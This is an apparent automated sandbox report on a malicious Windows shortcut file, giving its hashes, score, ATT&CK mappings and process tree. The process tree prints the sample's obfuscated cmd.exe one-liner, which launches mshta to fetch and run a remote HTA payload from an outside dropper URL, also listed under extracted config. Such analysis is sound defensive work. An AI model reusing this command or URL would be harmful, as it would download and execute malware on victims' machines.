c4233d7dc6b9b20b708971387e8701bdd6ffb939a5a90b5a209703782f30b7ca

Analysis

max time kernel
148s
max time network
113s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:11

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General

Target
DOC-UMYOSK.lnk
Size 2KB
Sample260803-qfa2rszzaz
SHA256 c4233d7dc6b9b20b708971387e8701bdd6ffb939a5a90b5a209703782f30b7ca
MD5 23cec95c36ab252982321860d02fc578
SHA1 5878a2e2c602fc0825b292360786ed59702e6950
SHA512 ab4def3c03d27cb99719aa8bc5a6544b60a4dc0e3cb1e3cb0d355190698142fc23f83f278d93bf0f7289115675d6fb20970eb69a29becde9ea1727b349643dbf
TLSH
T1D64148503AEC01E4F3FB9E73EEBE2750457FB9526E20C65D0491810C0822B01E1B7727
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3692	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3692 wrote to memory of 1552	3692	cmd.exe	90
PID 1552 wrote to memory of 5476	1552	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-UMYOSK.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3692
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d/V:on/c"set pfidB=3f8m8ap&&set zwCeL=veshcig&&set nCATY=13ltad&set dUaxI=tmppipopsmsatmp&set vi=netuulcgldnet&set wKPLX=oldpbrtold&set pwh=bakmcqpamshmbak&set Fiv=infiodyybkdottsrsinf&set Te=dbgbzlvoqcdbg&set PHYze=9stesq&&set OzHUd=4rab57&&set UkC=zrtou&&set PGY=ht@tps:/@/bo-@pdff@i@lle@r.@lat@/@h/es@ta@[email protected]@h@p?r=36@0761F@157@94&&start /b !pfidB:~3,1!!zwCeL:~2,2!!nCATY:~3,2! !PGY:@=!&&set qREiG=done"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1552
- - C:\Windows\System32\mshta.exe
    mshta https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:5476

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads